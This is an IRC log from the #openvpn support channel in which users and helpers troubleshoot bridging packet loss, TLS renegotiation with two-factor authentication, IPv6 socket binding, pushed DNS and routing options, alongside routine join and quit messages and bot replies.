08:31 < Olipro> so now I'd be more inclined to go with them screwing up the VLAN config
08:31 < mnice> yeah
08:31 < mnice> Olipro: THANK YOU VERY VERY MUCH
08:33 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 246 seconds]
08:48 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 264 seconds]
08:49 -!- c|oneman [cloneman@1337.montrealdark.com] has quit [Ping timeout: 264 seconds]
08:50 -!- c|oneman [cloneman@2605:6400:2:fed5:22:0:4ae3:5ea7] has joined #openvpn
08:50 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
09:07 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
09:07 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
09:18 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has quit [Excess Flood]
09:21 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
09:23 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
09:23 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Ping timeout: 246 seconds]
09:24 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
09:26 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 264 seconds]
09:40 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Read error: Connection reset by peer]
09:41 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has joined #openvpn
09:43 < phunyguy> So I was wrong.   it's not nearly as bad, but I am still getting some packet loss when using tap bridged to br0 on the server set to UDP connections
09:43 < phunyguy> around 7% which is still hideous
09:44 < phunyguy> has to be something here at work doing it
09:44 < phunyguy> (the wifi allows outgoing UDP 1194, but the LAN does not)
09:45 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 264 seconds]
09:47 -!- jthunder [~jthunder@174.3.126.51] has quit [Remote host closed the connection]
09:47 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
09:49 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
09:54 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
10:20 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:24 -!- raidz is now known as raidz_away
10:24 -!- raidz_away is now known as raidz
10:24 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
10:31 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:58 -!- nastjuid_ [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has quit [Read error: Operation timed out]
10:58 -!- nastjuid [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has joined #openvpn
10:59 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:07 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
11:12 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
11:15 < phunyguy> I have come to a conclusion.   My network ports and Ubuntu do not agree.  Set up a test workstation here at work, with eth0 in br0, no logged dupe errors.
11:15 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
11:18 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 252 seconds]
11:20 -!- fluter [~fluter@fedora/fluter] has quit [Ping timeout: 245 seconds]
11:20 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 272 seconds]
11:29 <@dazo> phunyguy: why do you need to bridge?
11:32 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
11:39 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
11:40 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
11:44 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has joined #openvpn
11:46 < TheWarden> Hi, where can I find out more about the release of OpenVPN for Android? I don't see it on the download page.
11:46 < EugeneKay> !android
11:46 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the market
11:47 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 256 seconds]
11:47 < TheWarden> Thanks
11:57 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
11:59 < phunyguy> dazo, to get things like mDNS working
11:59 < phunyguy> over the tunnel
12:00 <@dazo> phunyguy: I would rather recommend setting up normal DNS to make that work better (I presume you want to access resources on the LAN when travelling) ... because bridging isn't for the faint hearted ... that's blood, sweat and swearing in the road of bridging
12:01 <@dazo> s/ in / on /
12:01 < pekster> Depends on what other "things" we're talking about too I suppose
12:01 < phunyguy> well there has been plenty of that
12:01 < phunyguy> but I seem to have issues bridging anyway
12:02 < phunyguy> just on the br0 interface
12:02 < phunyguy> kernel: [ 7210.437204] br0: received packet on eth1 with own address as source address
12:02 < phunyguy> :-/
12:02 <@dazo> exactly ... those who handle bridging well are those who are true networking gurus
12:02 < phunyguy> I set up an identical bridge on another workstation, and no such errors occur
12:02 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 256 seconds]
12:03 <@dazo> phunyguy: the same kernel? the same distro?
12:03 < phunyguy> and this isn't the first time I have encountered NIC issues with Ubuntu on an AMD chipset
12:03 < phunyguy> yep.
12:03 < phunyguy> this workstation is pure intel
12:03 <@dazo> then there is something different in the config
12:03 < phunyguy> works awesome with a bridge
12:03 < phunyguy> no there isnt
12:03 < phunyguy> I didnt set up openvpn yet but there are no more dupe address errors
12:04 <@dazo> dump the output of ifconfig -a  on both boxes ....
12:04 < phunyguy> I'm not a slouch when it comes to networking, I understand how bridges work.
12:04 <@dazo> phunyguy: if that's really true, then you're one of the few exceptions in this channel
12:04 < phunyguy> the only thing different on the new box, is it is here at work with a dhcp assigned IP, and at home it is set manually
12:04 <@dazo> (99% of people trying bridging here does it "because it seems easiest")
12:04 < phunyguy> I dont mean I knwo all the technicalities
12:05 < phunyguy> I mean I know what they are in theory, and I am a cisco certified tech
12:05 < phunyguy> so networking isn't greek to me
12:05 <@dazo> that's a good starting point :)
12:05 <@dazo> sorry for having pre-judged you ;-)
12:05 < EugeneKay> If you don't know why you're trying bridging, don't bridge.
12:06 < pekster> Well, mDNS is a valid reason, although if that's the only reason, there are alternatives to doing it that way
12:06 < pekster> (although none of them "stateless")
12:06 <@dazo> pekster: got any recommendations?
12:07  * dazo does want to try playing with mDNS across different networks at home
12:07 < pekster> BIND with openvpn dropping in connecting clients to a vpn.yourdomain.com subdomain zone, or use dnsmasq with a dedicated hostfiles and a cute script to add/remove them from it when they (dis)connect
12:08 < pekster> Either works, and doesn't require bridging, although a little extra magic is needed to make the DNS setup aware of the VPN
12:08 <@dazo> right, well ... that's pretty close to what I got :)
12:08 < phunyguy> dazo: http://paste.ubuntu.com/5639086/
12:08 < phunyguy> top is home router, bottom is work test pc
12:09 <@dazo> phunyguy: and br0 have eth1 as bridge member?
12:09 < phunyguy> dazo, yep
12:09 <@dazo> not eth0?
12:09 < phunyguy> same on bottom,  em1 is in br0
12:09 < phunyguy> eth0 is WAN
12:09 <@dazo> goodie
12:10 < phunyguy> naah I am 99% certain it is ubuntu and AMD combo
12:10 < phunyguy> I have another AMD box with onboard nic that refuses to work
12:10 <@dazo> what kind of NICs do you have?
12:10 < phunyguy> broadcast storms the heck out of the network
12:11 < phunyguy> both in the router are: 00:10.0 Bridge: NVIDIA Corporation MCP55 Ethernet (rev a3)
12:11 <@dazo> I would actually guess it's either a bad NIC or a bad driver .... and seeing NVIDIA, I think of Linus Torvalds instantly
12:11 < phunyguy> exactly
12:12 < phunyguy> the work test pc has 00:19.0 Ethernet controller: Intel Corporation 82579LM Gigabit Network Connection (rev 04)
12:12 < phunyguy> Intel and Linux tend to play very nicely together
12:12 <@dazo> well, that's a decent NIC again :)
12:12 < phunyguy> I will just eat it and grab a new mobo with a couple NICs
12:13 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:1846:7056:8a6d:b667] has joined #openvpn
12:13 < phunyguy> In fact I think I have an intel one laying around  with a superbly overpowered processor
12:13 < phunyguy> quad core Xeon
12:14 < phunyguy> so maybe converting router+server to one single box may be a viable option
12:14 <@dazo> phunyguy: not necessarily the MB which is the issue ... I'm really expecting a different result then
12:14 < phunyguy> well teh mobo has the NICs onboard
12:14 <@dazo> no extra PCI slots?
12:15 < phunyguy> lol this is so laggy with teh packet loss.  I use Quasselcore and Quasselclient over the vpn, so my chat lags really bad
12:15 < phunyguy> only 1 PCI, would need 2.
12:15 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
12:15 < phunyguy> with the new motherboard I would have an onboard, and a PCI.
12:21 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has quit [Changing host]
12:21 -!- MrPockets [~MevinKitt@unaffiliated/mrpockets] has joined #openvpn
12:21 < phunyguy> is it possible to bridge openvpn clients so that they would actually broadcast for DHCP rather than letting openvpn assign?
12:23 < phunyguy> and will the client end be smart enough to do that when connecting the standard way via command line....
12:31 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
12:32 < kisom> phunyguy: I don't think that's a good idea. If you set another default gateway using DHCP you'd get a catch 22 situation when OpenVPN tries to send the VPN stream over the VPN itself.
12:32 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 272 seconds]
12:33 < kisom> Maybe there's some dark vodoo in DHCP that can prevent that from happening, but I have no clue.
12:34 < pekster> DHCP (at least ISC dhcpd) supports defining client classes; you can use the FF:... prefix of TAP MACs to send (or not send) custom attributes
12:35 < kisom> So DHCP supports pushing routes in attition to the default GW?
12:35 < pekster> Better to have OpenVPN push that
12:35 < kisom> I agree.
12:36 < phunyguy> can't on my test box  :(
12:36 < phunyguy> was hoping to just have it bridge up and grab a DHCP address from my work network
12:36 < phunyguy> I don't run DHCP here so I can't specify a range without assigning dupes potentially
12:37 < kisom> phunyguy: You can do that, but you'll have to add the correct routes on the client end so the VPN connection itself always is routed via the physical interface.
12:38 < phunyguy> kisom: also I have approx 0 issues when redirecting gateway the way I have it set now.  It's smart enough to create a static route to my external gateway address
12:38 < kisom> Yes, and using --redirect-gateway does not involve DHCP.
12:39 < phunyguy> and adding the local flag will reroute anything else goign to taht subnet to the VPN tunnel
12:39 < kisom> phunyguy: I'm going to refer to the manual, it's all in there.
12:40 < phunyguy> May  6 09:33:31 ubuntutest ovpn-outerbanks[2655]: workpc1/10.211.201.92:46398 MULTI: no dynamic or static remote --ifconfig address is available for workpc1/10.211.201.92:46398
12:40 < phunyguy> that is on server side
12:40 < phunyguy> won't connect  :(
12:54 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
12:55 -!- nastjuid [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has quit [Ping timeout: 264 seconds]
12:58 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
13:02 -!- nastjuid [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has joined #openvpn
13:06 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
13:06 < vaillor> hi guys
13:06 < vaillor> is possible to put proxy credentials directly into the config file?
13:06 < vaillor> The two authentication examples above will cause OpenVPN to prompt for a username/password from standard input. If you would instead like to place these credentials in a file, replace stdin with a filename, and place the username on line 1 of this file and the password on line 2.
13:07 < vaillor> i don't want to put them in another file, but i need tu put them directly in the configuration file
13:14 -!- nastjuid [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has quit [Ping timeout: 264 seconds]
13:27 -!- nastjuid [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has joined #openvpn
13:38 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
13:51 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:52 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
13:54 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
14:06 < blorgh> when i connect to my openvpn-server that's configured with redirect-gateway def1, the client adds 4 routes; however when the client exit/restart only three of them are deleted, with the one kept being the servers external ip over my 'regular' gw -- is the client supposed to remove all of them? i see no errors in the log
14:06 < blorgh> atm i have to manualy delete it before being able to reconnect after changing wlan with a different gw
14:06 -!- ThoMe_ [~tm@tm.muc.de] has left #openvpn []
14:09 <@ecrist> they should all be deleted
14:09 < blorgh> okay
14:11 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
14:14 -!- levifig [~levifig@spwn.co] has joined #openvpn
14:19 < vaillor> ecrist, can you suggest me something to answer my question?
14:22 < pekster> vaillor: You answered your own question; it's not supported. If you notice, openvpn doesn't allow any passwords to be defined directly in the config file which improves security. In theory you could author a code patch, although the likelyhood of it getting accepted is somewhat low, I'd think
14:24 < vaillor> pekster, i found a way to put diretly certs in xml mode diretly in the configuration file, i was hoping that there was a similar way for proxy credentials, but you said is not possible.
14:31 -!- VisionNL_ is now known as visionnl
14:31 -!- brute11k [~brute@89.249.230.251] has quit [Ping timeout: 252 seconds]
14:32 -!- al_nz1 [al_nz1@203-109-232-211.dsl.dyn.ihug.co.nz] has joined #openvpn
14:32 -!- brute11k [~brute@89.249.230.251] has joined #openvpn
14:35 -!- Ali_nz2 [~Ali_nz1@202-74-193-58.static.woosh.co.nz] has quit [Ping timeout: 276 seconds]
14:44 -!- emmanuel__ [~emmanuelu@2a01:e35:2e4d:9010:1846:7056:8a6d:b667] has joined #openvpn
14:44 -!- emmanuel__ [~emmanuelu@2a01:e35:2e4d:9010:1846:7056:8a6d:b667] has quit [Read error: Connection reset by peer]
14:45 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:1846:7056:8a6d:b667] has quit [Remote host closed the connection]
14:46 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:1846:7056:8a6d:b667] has joined #openvpn
15:07 -!- druid [~druid@unaffiliated/druid] has quit [Ping timeout: 272 seconds]
15:11 < vaillor> !goal
15:11 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
15:11 < vaillor> !welcome
15:11 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
15:11 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
15:12 < vaillor> !howto
15:12 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
15:13 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
15:13 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
15:14 < vaillor> guys, can you show me an example of situation where "tun-mtu" should be usefull?
15:22 -!- druid [~druid@drink.cypr.in] has joined #openvpn
15:22 < i7c> i'd have an improvement to suggest for the android app... is this the right place?
15:23 <@dazo> i7c: plaisthos can tell you where he wants those reports
15:23  * i7c pokes plaisthos
15:24 <@dazo> i7c: he lives in Europe, and it's getting late there ... he might not see it until in the morning
15:25 < i7c> alright, no problem. i'll be lurking :p
15:25 < i7c> thanks
15:25 <@dazo> you're welcome!
15:34 < vaillor> is there some difference between: #push "route 10.8.0.0 255.255.255.0"
15:34 < vaillor> #route 10.8.0.0 255.255.255.0
15:34 < vaillor> ?
15:35 < vaillor> in general, "push" forces option to all of clients connected, right?
15:35 < magoo> is there a default timeout set in openvpn server?
15:35 < vaillor> no
15:36 < magoo> i have ours integrated with google auth and it's trying to reauth with the original token the client entered after ~15 minutes or so
15:36 < magoo> which def won't work and then we get an auth failure
15:36 < pekster> magoo: Using --auth-user-pass-verify?
15:37 < magoo> no, plugin /usr/lib/openvpn/openvpn-auth-pam.so openvpn
15:37 < vaillor> pekster, i'm trying to know why routing of dns queries to a non subnet ip address works also without using "route" in configuration
15:38 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:38 < pekster> magoo: Ah. So, my suggestion is to re-wrap that using that script hook, then test on $script_context which at first connect will be "init" but on later-connections will be something else I'm forgetting off hand ("reauth" or "reconnect" or something like that.) That means the client has already authenticated and can be let in without another GoogleAuth challange, otherwise you'll need the new code
15:39 < pekster> See also all the --reneg-* options, but by default openvpn re-keys the TLS channel every hour, which goes through all the usual authentication checks, including your user-pass stuff. The TLS handshake also happens again here, with X.509 checked too
15:42 < magoo> pekster: thanks! you don't happen to have an example script do you? I'm not certain how I need to wrap the .so
15:42 <@plaisthos> i7c: yeah?
15:43 <@plaisthos> i7c: it is late here but I will be around for another 20 minutes
15:43 < pekster> Not offhand, no. There are plenty of public domain code examples for Google Auth in pretty much any langauge you can imagine though, including perl, python, C, java, etc, etc
15:44 < pekster> If you're using GoogleAuth, why bother sending it through PAM since you want to auth the first time a user connects but not subsequent re-auths: that's not something PAM is aware of, so you can't ask it to auth "sometimes, but not always" like that
15:44 < i7c> ah yeh: i constantly use vpn on my cell due to security reasons. now at home i have a local server, outside i use some server in the internet. in seamless mode it would be nice if you could switch. now i have to stop, reconnect while some background apps already connect through unsecure networks. ← plaisthos
15:45 < magoo> pekster: I just followed a guide I'd found for basic 2-factor auth
15:45 < pekster> magoo: Oh, and double-check that variable name: try `set > /tmp/vars-output.txt` or something to verify what the var is on init and reconnect, just to be sure
15:46 < pekster> Well, it's a silly guide since they either expect you to use `--reneg-sec 0` on both ends, or the user to interactively enter the new google Auth code every hour (or as otherwise configured)
15:46 < pekster> I mean, if you expect users to do that and have a facility to do so using the management interface that's one thing, but it sounds like you don't want that
15:46 < pekster> I think PAM is the wrong solution here
15:47 < magoo> no, i just want our users to be able to get on and then not worry about it for the remainder of the work day
15:47 < magoo> i'd have a timeout of 8 hours ideally
15:47 < pekster> Right
15:47 < pekster> No, this isn't a "timeout"
15:47 < pekster> It's a standard re-auth, and part of how openvpn provides perfect-forward-secrecy in TLS mode
15:47 <@plaisthos> i7c: so you want reconnect to a different openvpn server when you are home?
15:47 < magoo> well, reauth rather
15:48 < i7c> plaisthos, what i want is that the app blocks traffic while i switch to another network
15:48 < pekster> In theory you can bump the --reneg-* values to get the same effect with none of the work, at a loss of forward-secrecy. It'll still break unless you disable them completely, which is a lazyness/security tradeoff
15:48 < pekster> You'll still have forward secrecy bewteen connections, but not on a rotating basis
15:49 <@plaisthos> i7c: You know about the persistent-tun setting?
15:49 < pekster> Maybe that's fine, in which case *both* configs need --reneg-sec 0 (and no other --reneg-* options)
15:49 < magoo> pekster: that sounds like a compromise I'm willing to make atm. gotta move fast
15:49 < pekster> IIRC you can't push it either
15:49 <@plaisthos> i7c: under advanced (or what I called it in english)
15:50 < pekster> magoo: Personally, I always use --reneg-sec 0 in my client configs so I can stricly control it server-side
15:50 < i7c> plaisthos, how does that help me when i switch profiles? in the app i cant click on another profile while one is active
15:50 < magoo> and that's not configurable on a time basis?
15:51 < i7c> i have to hit the disconnect button, plaisthos
15:51 < magoo> i just want the renegotiation to happen like 8 hours out
15:51 <@plaisthos> i7c: no it oes not help for switching profiels
15:51 < pekster> magoo: Read the manpage for that option. It should become blindly clear
15:51 < magoo> :) fair enough... you've been extremely helpful so thanks
15:52 < vaillor> any help?
15:52 <@plaisthos> help only when switch networks and openvpn does a "normal" reconnect
15:52 < i7c> yeh, that works perfectly fine ;)
15:52 <@plaisthos> like wifi <-> 3g
15:52 < i7c> but does not address my problem exactly. but well i can understand if this is considered too unimportant =)
15:53 <@plaisthos> i7c: well and it is not that simple to implement
15:53 < i7c> i believe that
15:55 <@plaisthos> i7c: is there a reason why you use a different server in your local network than in the mobile network?
15:56 < i7c> the local one distributes a vpn tunnel to my LAN. now my computer is in that vpn and my tablet so they would all be in the same virtual subnet
15:59 <@plaisthos> connecting to local VPN server in a network giving out the same network actually works with my client (if you manage to get that working hell working on your server :))
16:00 -!- dazo is now known as dazo_afk
16:00 < i7c> :D
16:00 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 246 seconds]
16:00 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 252 seconds]
16:01 < i7c> well it's alright. prolly i'll just block my cell on the router or something =)
16:08 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:11 <@plaisthos> i7c: another possibly is exposing the opnevpn callback before connecting the server to the external API of my VPN and you writing an app that decide the remote server address
16:12 < i7c> ah, thx for the hint. maybe i'll have a look, tho i'm not very familiar with android dev =)
16:12 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:12 <@plaisthos> i7c: it is a very special requirement you have there :)
16:13 < i7c> i know :D
16:13 < i7c> but dont you worry, i love your app anyways :p
16:14 <@plaisthos> i7c: thanks
16:15 < i7c> :]
16:20 -!- thisguy_ [~quassel@142-165-27-177.estv.hsdb.sasknet.sk.ca] has joined #openvpn
16:20 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
16:38 -!- thisguy_ [~quassel@142-165-27-177.estv.hsdb.sasknet.sk.ca] has quit [Read error: Connection reset by peer]
16:39 -!- rymnio [~chatzilla@91.234.245.245] has quit [Ping timeout: 264 seconds]
16:43 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
17:05 -!- brain0 [~brain0@archlinux/developer/brain0] has joined #openvpn
17:08 < vaillor> i'd like to know why if my vpn subnet is 10.8.0.0 and i push dns of another network, it works also without setting route rule
17:08 -!- phunyguy [~quassel@unaffiliated/phunyguy] has quit [Ping timeout: 264 seconds]
17:09 < brain0> how do I get openvpn 2.3.1 to bind to a udp6 socket?
17:09 < brain0> netstat says it is only bound to 0.0.0.0:1194
17:09 < brain0> "OpenVPN 2.3.1 mips-openwrt-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [MH] [IPv6] built on May  6 2013"
17:10 < pekster> brain0: --proto udp6
17:10 < brain0> oh
17:10 < brain0> good
17:10 < brain0> will udp (v4) still work?
17:11 < pekster> vaillor: Since you've failed to supply any details, that's such a vaulge question it can't be answered. DNS has nothing to do with routes; if you want the request routed over the VPN, you need a route to do so
17:11 < vaillor> pekster: http://pastebin.com/J0M1gydX
17:11 < pekster> brain0: Today you need 2 instances to do that; there's a dual-stack feature coming down the line somewhere
17:12 < vaillor> this is my server config
17:12 < brain0> pekster: it seem that linux does this transparently
17:12 < brain0> pekster: i.e. you listen on udp6 and incoming udp4 traffic will be forwarded to the udp6 socket
17:12 < pekster> So it's pushing that DNS server vaillor. What's that to do with routes? The client will add it to the DNS list (assuming it's Windows, or Unix-alike with proper scripts)
17:13 < brain0> "::ffff:10.23.42.17 TLS: Initial packet from [AF_INET6]::ffff:10.23.42.17:56220" ...
17:13 < brain0> so it seems fine
17:13 -!- phunyguy [~quassel@h69-131-21-126.stmyga.broadband.dynamic.tds.net] has joined #openvpn
17:13 -!- phunyguy [~quassel@h69-131-21-126.stmyga.broadband.dynamic.tds.net] has quit [Changing host]
17:13 -!- phunyguy [~quassel@unaffiliated/phunyguy] has joined #openvpn
17:13 < pekster> If you're not pushing a route to that IP/network, then it'll use whatever the kernel's own route is for it
17:13 < pekster> brain0: You have a 4in6 setup then?
17:13 < brain0> no
17:13 < brain0> I am planning to have dualstack soon-ish
17:13 < pekster> (in that case you're not actually multi-homed between v4/v6 as far as the server is concerned.)
17:13 < pekster> That's what that IP is...
17:14 < vaillor> pekster, that line works like a dhcp server?
17:14 < brain0> pekster: I didn't set up anything specific here, it's just what linux does apparently
17:14 < pekster> vaillor: No. It just tells the client "use this DNS server" and expects the client to react accordingly
17:14 < pekster> brain0: That has much more to do with your network infrastructure than "Linux"
17:14 < vaillor> ok, i'm sorry, do you find anything wrong in my config?
17:15 < brain0> well no, my network infrastructure is that I only have ipv4 _right now_
17:15 < vaillor> i just want ask you if it's all good
17:15 < vaillor> it works fine
17:15 < vaillor> but i'd like to listen an expert
17:15 < pekster> Depends completely on what you want
17:15 < pekster> (which you also haven't explained)
17:15 < brain0> but it seems that whenever you listen on [::] on Linux, any incoming ipv4 traffic will be transparently translated to the ipv6 socket - which is convenient, since most applications will only listen on either v4 or v6
17:16 -!- tbytby [~tbytby@S01060016b6af7fce.vc.shawcable.net] has joined #openvpn
17:16 < vaillor> pekster, i need to connect a client that must navigate using server vpn connection
17:16 < pekster> brain0: Right
17:16 < vaillor> that's all
17:16 < brain0> so, no need to multihome openvpn here, as listening on v6 is sufficient
17:17 < pekster> vaillor: Still not very clear. Ask a poor question, get a poor answer. If you don't add a route to a destination, it stays the way it was before the client connected
17:17 < pekster> Add routes if you want to change that
17:17 < brain0> well, thanks anyway
17:17 < pekster> brain0: You'd run into issues if you wanted to specifiy a v6 address to bind to
17:17 < brain0> may I mention that 'man openvpn' makes no mention of --proto up6
17:17 -!- phunyguy [~quassel@unaffiliated/phunyguy] has quit [Read error: No route to host]
17:17 < brain0> pekster: indeed, but I'm binding to [::]
17:17 < pekster> Binding to [::]:1194 should be fine, but binding to [2001:db8::abcd:1234]:1194 wouldn't
17:18 < pekster> Yup :)
17:18 -!- phunyguy [~quassel@h69-131-21-126.stmyga.broadband.dynamic.tds.net] has joined #openvpn
17:18 -!- phunyguy [~quassel@h69-131-21-126.stmyga.broadband.dynamic.tds.net] has quit [Changing host]
17:18 -!- phunyguy [~quassel@unaffiliated/phunyguy] has joined #openvpn
17:18 < pekster> Just figured I'd warn you ahead of time that multihome binding doesn't yet work, although wildcard should
17:18 < vaillor> pekster, what a route specifically does?
17:18 < pekster> vaillor: Adds a route to the routing table. You really should have such basic knowledge before attempting to use a VPN...
17:18 < pekster> !tcpi
17:18 < pekster> !tcpip
17:18 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
17:18 < pekster> If you don't understand how a routing table works, this isn't the place to ask
17:19 < brain0> I think I need to mention that openvpn has been and still is amazing
17:19 < brain0> I'd be so lost without it
17:20 < vaillor> yes, i know, but i don't need to route nothing, simply vpn server should work like a proxy server
17:20 < vaillor> i used in client config "redirect-gateway"
17:20 < vaillor> and all the traffic will be routed into vpn
17:20 < pekster> Then you're already doing routing
17:21 < vaillor> redirect is something similar to routing?
17:21 < pekster> You are also completely wrong then, because you *are* routing. In fact, instead of routing "nothing" you're routing "everything"
17:21 < pekster> ...
17:21 < vaillor> so, redirect-gateway means: route all
17:21 < vaillor> right?
17:21 < tbytby> I am trying to connect a headless debian squeeze computer via openvpn.  I have the requisite crt, conf files etc from the server, and they are in my /etc/openvpn folder.  When I restart openvpn via terminal I am prompted for my vpn username and passwd, but a tun0 interface never appears.  Any ideas how I can troubleshoot this?
17:22 < brain0> tbytby: increase openvpn verbosity?
17:22 < pekster> It means exactly what it says in the manpage, which is basically that. Considering how many *weeks* you've been here failing to learn pretty much anything you've been told, I can't say I'm surprised you still haven't a clue what you're doing
17:22 < brain0> --verb option, see the manpage
17:23 < tbytby> brain0: thanks
17:23 < brain0> tbytby: oh, and run without the --daemon option in order to actually see stuff :))
17:23 < vaillor> pekster: you can appreciate that I have evolved, I learned many things in fact that configuration I've created step by step
17:23 < pekster> vaillor: See !redirect, although I'm pretty sure you've been told to look there on at least half a dozen separate times
17:24 < vaillor> pekster, for me all works fine
17:24 < vaillor> my vpn works as i need
17:24 < phunyguy> So, I put in another NIC, changed the udev rules to give it eth1, and rebooted.  pinged a connected vpn client... 100/100 returned, 0% loss.
17:24 < phunyguy> humph.
17:24  * EugeneKay points and laughs
17:24  * phunyguy dusts off his shoulder.
17:25 < phunyguy> still getting that error in syslog though  ><
17:25 < pekster> phunyguy: As I noted before, OpenVPN can't be better than your physical link ;). Passing on your packet loss, now with added security!
17:25 < phunyguy> pesky thing
17:25 < EugeneKay> !logs
17:25 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
17:25 < EugeneKay> tbytby ^
17:26 < EugeneKay> I like securely shredded packets
17:26 < pekster> vaillor: Look at your routes. 128/8 includes 192.168.56.1
17:26 < EugeneKay> I prefer to shoot them out of a cannon for maximum destruction
17:26 < pekster> (128/1, rather)
17:28 < phunyguy> d'awwwwww   went and checked the ongoing ping, killed it...  20% got lost in the time I looked away
17:28  * phunyguy gives up.
17:28 < phunyguy> this is really started to grind my gears.
17:30 < EugeneKay> http://www.fentonfire.com/engines_and_pumpers/listing.php?lid=5312
